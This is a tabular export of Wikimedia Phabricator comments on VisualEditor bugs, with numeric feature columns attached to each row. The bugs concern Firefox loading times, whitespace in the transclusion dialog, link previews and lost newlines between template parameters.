340648,Improve VisualEditor's loading performance in Firefox,"Those are pretty major performance improvements, much more than I was expecting. Odd.",,,1418255283,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,75,,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,4.5625,0.9375,"Those are pretty major performance improvements, much more than I was expecting. Odd."
340536,Improve VisualEditor's loading performance in Firefox,"Added the new data, one thing to note is if you check chrome before firefox, or check only firefox, the results are almost the same for firefox. but if you check chrome after firefox, it is faster, i guess due to caching. So, more food for thought.",,,1418243212,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,75,,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,7.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,4.0,4.0,4.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,7.0,16.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,3.607142857142857,0.6428571428571429,"Added the new data, one thing to note is if you check chrome before firefox, or check only firefox, the results are almost the same for firefox. but if you check chrome after firefox, it is faster, i guess due to caching. So, more food for thought."
340520,Improve VisualEditor's loading performance in Firefox,"Could you compare loading times for these articles now, three months later?",,,1418241832,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,75,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.571428571428571,1.0,"Could you compare loading times for these articles now, three months later?"
249807,Improve VisualEditor's loading performance in Firefox,"(In reply to matanya from comment #1)
> I'm using firefox 32 and did some tests on this on en,wikipedia, and beta
> en, which runs HHVM, but is on a virt cluster.

Comparing the time to execute of anything between beta and prod is comparing nothing of value. Different hardware, different cluster sizes (for cache, execute and db) and different code.",,,1410306789,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,True,,,62,,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.06,0.76,"(In reply to matanya from comment #1)
QUOTE
QUOTE

Comparing the time to execute of anything between beta and prod is comparing nothing of value. Different hardware, different cluster sizes (for cache, execute and db) and different code."
249800,Improve VisualEditor's loading performance in Firefox,"Adding timings in chromium 37 for comparison:


Article name:Barack Obama
beta en: 8.1s
en : 17.2s

Article name: Cat
beta en: 7.7s
en: 16.0s

Article name:Beyoncé Knowles
beta en: 5.1s
en: 7.5s

Article name: India
beta en: 4.8s
en : 5.6s

Article name: Richard Nixon
beta en:3.6s
en: 5.6s

Article name:Europe
beta en: 5.7s
en: 7.1s

Article name: English language
beta en:3.5s
en: 8.0s",,,1410306686,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,62,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.264150943396227,0.4339622641509434,"Adding timings in chromium 37 for comparison:


Article name:Barack Obama
beta en: 8.1s
en : 17.2s

Article name: Cat
beta en: 7.7s
en: 16.0s

Article name:Beyoncé Knowles
beta en: 5.1s
en: 7.5s

Article name: India
beta en: 4.8s
en : 5.6s

Article name: Richard Nixon
beta en:3.6s
en: 5.6s

Article name:Europe
beta en: 5.7s
en: 7.1s

Article name: English language
beta en:3.5s
en: 8.0s"
249794,Improve VisualEditor's loading performance in Firefox,adding Ori for possible HHVM implications,,,1410305231,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,62,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,1.0,adding Ori for possible HHVM implications
249791,Improve VisualEditor's loading performance in Firefox,"I'm using firefox 32 and did some tests on this on en,wikipedia, and beta en, which runs HHVM, but is on a virt cluster.

Article name:Barack Obama
beta en: 41.7s
en : 17.6s

Article name: Cat
beta en: 31.7s
en: 16.4s

Article name:Beyoncé Knowles
beta en: 16.9s
en: 25.4s

Article name: India
beta en: 36.4s
en : 26.8s

Article name: Richard Nixon
beta en:16.2s
en: 9.9s

Article name:Europe
beta en: 26.8s
en: 28.3s

Article name: English language
beta en:23.7s
en: 18.2

I think although it is a small test it does show the trend. 

The computer running this test is an i7 quad core from the 3rd gen with 8G of ram, so shouldn't be any issue on this front. 

Would be glad to provide any other info needed.",,,1410305084,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-ysfxvsvtwjpipqsulyul,task_subcomment,,True,c1,3,False,,,62,,1.5,0.0,0.0,0.0,0.5,3.0,2.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.5,5.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,3.5,1.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,22.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.0,2.5,12.0,0.5,1.5,7.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,2.0,5.5,11.5,0.0,0.0,0.0,2.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,1.0,3.241935483870968,0.5698924731182795,"I'm using firefox 32 and did some tests on this on en,wikipedia, and beta en, which runs HHVM, but is on a virt cluster.

Article name:Barack Obama
beta en: 41.7s
en : 17.6s

Article name: Cat
beta en: 31.7s
en: 16.4s

Article name:Beyoncé Knowles
beta en: 16.9s
en: 25.4s

Article name: India
beta en: 36.4s
en : 26.8s

Article name: Richard Nixon
beta en:16.2s
en: 9.9s

Article name:Europe
beta en: 26.8s
en: 28.3s

Article name: English language
beta en:23.7s
en: 18.2

I think although it is a small test it does show the trend. 

The computer running this test is an i7 quad core from the 3rd gen with 8G of ram, so shouldn't be any issue on this front. 

Would be glad to provide any other info needed."
52598,VisualEditor: Reduce whitespace in transclusion dialog,"A contributor requests the following:

I'm sure this is far down the list of problems, but I think the transclusion editor (and other bits with similar display) have way too much white space. For each parameter one gets two blank lines for every one line with parameter name. That is annoying and when templates have dozens of parameters, as many infoboxes and citation templates do, it creates a lot of extra scrolling to find what one is looking for. I'd suggest reducing the whitespace between parameter names by half. Dragons flight (talk) 18:18, 2 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1372791060,1385375733.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-rhordq7y2ulyxaighkvm,task_description,resolved,True,c1,3,False,False,False,0,,2.5,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,2.0,0.0,2.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,6.5,1.5,1.0,1.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,17.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.5,2.0,7.0,0.5,2.5,5.5,0.0,0.0,0.0,0.0,1.5,0.0,3.5,0.0,4.0,8.0,1.5,0.0,0.0,0.0,4.0,0.0,1.5,1.5,0.0,1.5,0.0,0.0,0.0,4.134780642243329,0.8119629127091814,"A contributor requests the following:

I'm sure this is far down the list of problems, but I think the transclusion editor (and other bits with similar display) have way too much white space. For each parameter one gets two blank lines for every one line with parameter name. That is annoying and when templates have dozens of parameters, as many infoboxes and citation templates do, it creates a lot of extra scrolling to find what one is looking for. I'd suggest reducing the whitespace between parameter names by half. Dragons flight (talk) 18:18, 2 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
248768,VisualEditor: Reduce whitespace in transclusion dialog,We did this as part of the transclusion dialog tweaks in August; sorry for the slowness to update.,,,1385375733,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rhordq7y2ulyxaighkvm,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,25.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,25.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.05,0.95,We did this as part of the transclusion dialog tweaks in August; sorry for the slowness to update.
52593,VisualEditor: Link inspector should preview the linked page (à la Navigation Popups),"Disambiguations and other oddities can mean that the first link you select in a typeahead search may not actually be right. You then have to follow the link (which is hard in edit mode) and go looking again.

Being able to get a short preview of the selected link target, similar to what Navigation Popups gadget does when hovering over links, would go miles (kilometers) towards making link selection *awesomer*.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=59208",Low,25.0,1372786320,1431047236.0,PHID-USER-yek7ymogrv4qc67oilhf,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-wzei4tpax7kpf3oq25mp,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,0.5,5.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.5,1.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,4.0,0.0,1.5,0.0,0.0,0.5,13.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.5,1.5,8.0,1.5,1.0,3.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.0,6.5,2.0,0.0,0.0,0.0,1.0,0.0,2.5,1.0,0.0,2.5,0.0,0.0,0.0,3.9909090909090907,0.7454545454545454,"Disambiguations and other oddities can mean that the first link you select in a typeahead search may not actually be right. You then have to follow the link (which is hard in edit mode) and go looking again.

Being able to get a short preview of the selected link target, similar to what Navigation Popups gadget does when hovering over links, would go miles (kilometers) towards making link selection *awesomer*.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
455819,VisualEditor: Link inspector should preview the linked page (à la Navigation Popups),This is effectively now solved with the link image/data preview,,,1431047236,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wzei4tpax7kpf3oq25mp,task_subcomment,,True,c1,3,True,,,96,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,This is effectively now solved with the link image/data preview
248528,VisualEditor: Link inspector should preview the linked page (à la Navigation Popups),"It probably shouldn't be the highest priority, but as an editor, I would like something like this. In fact, I'd find it far more useful than Hovercards: When I'm reading an article and want to know more about a topic to which there is a link, I usually middle-click it to open it in a new tab and read it a bit later, so I don't really need Hovercards. As I am editing, however, it would be useful for me to add a link and  be more sure as to where is the link leading. Is [[Washing Machine]] leading to the article about the appliance or about the Sonic Youth album? Is [[AC/DC]] leading to an article about electrical engineering or about a band? These are real situation in which I found myself recently, and in both of them I had to open a new tab to make sure.

So I would love to see something more than just the title when I'm linking. It doesn't even have to be a full-blown Hovercard - just the first few words are likely to be enough. (Although reusing the Hovercards code makes sense, too.)",,,1401698735,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-wzei4tpax7kpf3oq25mp,task_subcomment,,True,c1,3,False,,,48,,0.3333333333333333,0.6666666666666666,0.0,0.0,1.0,5.666666666666667,3.0,0.0,0.3333333333333333,0.0,3.0,2.3333333333333335,0.0,0.0,0.3333333333333333,4.333333333333333,0.3333333333333333,8.333333333333334,11.0,0.6666666666666666,3.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,5.0,2.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,1.3333333333333333,0.0,0.0,0.0,7.333333333333333,0.6666666666666666,0.0,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,6.666666666666667,4.333333333333333,11.0,1.6666666666666667,2.3333333333333335,8.666666666666666,0.0,0.0,0.0,0.0,6.666666666666667,0.0,0.0,0.0,7.333333333333333,11.0,2.6666666666666665,0.6666666666666666,0.0,0.0,7.333333333333333,0.0,2.0,4.0,1.3333333333333333,3.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,3.451584983230553,0.7233582170291032,"It probably shouldn't be the highest priority, but as an editor, I would like something like this. In fact, I'd find it far more useful than Hovercards: When I'm reading an article and want to know more about a topic to which there is a link, I usually middle-click it to open it in a new tab and read it a bit later, so I don't really need Hovercards. As I am editing, however, it would be useful for me to add a link and  be more sure as to where is the link leading. Is [[Washing Machine]] leading to the article about the appliance or about the Sonic Youth album? Is [[AC/DC]] leading to an article about electrical engineering or about a band? These are real situation in which I found myself recently, and in both of them I had to open a new tab to make sure.

So I would love to see something more than just the title when I'm linking. It doesn't even have to be a full-blown Hovercard - just the first few words are likely to be enough. (Although reusing the Hovercards code makes sense, too.)"
248523,VisualEditor: Link inspector should preview the linked page (à la Navigation Popups),"I'm not sure this is needed once bug 50240 is fixed, but we should re-consider it then. Also, some form of interaction that doesn't need hover would be needed for touch-screen devices, like mobile.",,,1377023920,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wzei4tpax7kpf3oq25mp,task_subcomment,,True,c1,3,True,,,7,,2.0,0.0,0.0,7.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,7.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6444444444444444,0.8666666666666667,"I'm not sure this is needed once bug 50240 is fixed, but we should re-consider it then. Also, some form of interaction that doesn't need hover would be needed for touch-screen devices, like mobile."
52584,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,"The template inspector's parameters contain the contents of each parameter, and also a line break, which represents, well, the break between two parameters. When modifying a param, it's all too easy to remove the line break, which results in user-unfriendly things like https://en.wikipedia.org/w/index.php?title=Kidz_Bop_20&diff=prev&oldid=562494239

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=69682",Low,25.0,1372775700,1421036141.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-TASK-drqb66ingqes5mea47vp,task_description,resolved,True,c1,3,False,False,False,0,,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,0.0,1.0,0.0,0.0,0.0,3.8902439024390243,0.6219512195121951,"The template inspector's parameters contain the contents of each parameter, and also a line break, which represents, well, the break between two parameters. When modifying a param, it's all too easy to remove the line break, which results in user-unfriendly things like URL

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
398119,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,"Agreed, looks fixed.  I can no longer reproduce the problem I had before on $wgEnableCanonicalServerLink (I tried to test with the same exact changes on my sandbox).",,,1421036273,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-drqb66ingqes5mea47vp,task_subcomment,,True,c1,3,True,,,80,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,15.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.088235294117647,0.8529411764705882,"Agreed, looks fixed.  I can no longer reproduce the problem I had before on $wgEnableCanonicalServerLink (I tried to test with the same exact changes on my sandbox)."
398023,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,"…and in fact, this appears to have been fixed already? The leading and trailing newlines from wikitext source are not displayed in the fields in the template dialog, and can not be removed. However, newly inserted template parameters (and newly inserted templates) do not have ""smart whitespace"" added (this overlaps with T71682 a bit).",,,1420986164,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-drqb66ingqes5mea47vp,task_subcomment,,True,c1,3,True,,,79,,0.0,0.0,0.0,4.0,4.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,4.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,4.223880597014926,0.7164179104477612,"…and in fact, this appears to have been fixed already? The leading and trailing newlines from wikitext source are not displayed in the fields in the template dialog, and can not be removed. However, newly inserted template parameters (and newly inserted templates) do not have ""smart whitespace"" added (this overlaps with T71682 a bit)."
398018,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,"The whitespace around the value of parameters should just be preserved (and not shown in the text field at all). This can't be difficult to do, can it?",,,1420984596,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-drqb66ingqes5mea47vp,task_subcomment,,True,c1,3,True,,,79,,3.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,15.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.9411764705882353,"The whitespace around the value of parameters should just be preserved (and not shown in the text field at all). This can't be difficult to do, can it?"
247907,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,"The bug is open for more than a year, and we get ugly diffs and ugly wikitext. Please increase its severity.

If it isn't possible or it is hard to know whether a template is ""inline template"" or ""multiline template"", at least allow manual indication for it (using TemplateData?)",,,1408794928,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-drqb66ingqes5mea47vp,task_subcomment,,True,c1,3,False,,,59,,0.0,0.0,0.0,0.0,2.0,13.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,6.0,3.0,6.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,8.0,11.0,2.0,2.0,6.0,0.0,8.0,0.0,0.0,3.0,0.0,2.0,2.0,2.0,0.0,3.7419354838709675,0.7258064516129032,"The bug is open for more than a year, and we get ugly diffs and ugly wikitext. Please increase its severity.

If it isn't possible or it is hard to know whether a template is ""inline template"" or ""multiline template"", at least allow manual indication for it (using TemplateData?)"
247904,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,(inspector->dialog; inspector is the context menu with buttons to open a dialog),,,1373539573,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-drqb66ingqes5mea47vp,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,(inspector->dialog; inspector is the context menu with buttons to open a dialog)
247900,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,Confirmed (https://www.mediawiki.org/w/index.php?title=Manual:$wgEnableCanonicalServerLink&diff=728104&oldid=667291).,,,1373408374,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-drqb66ingqes5mea47vp,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Confirmed (URL
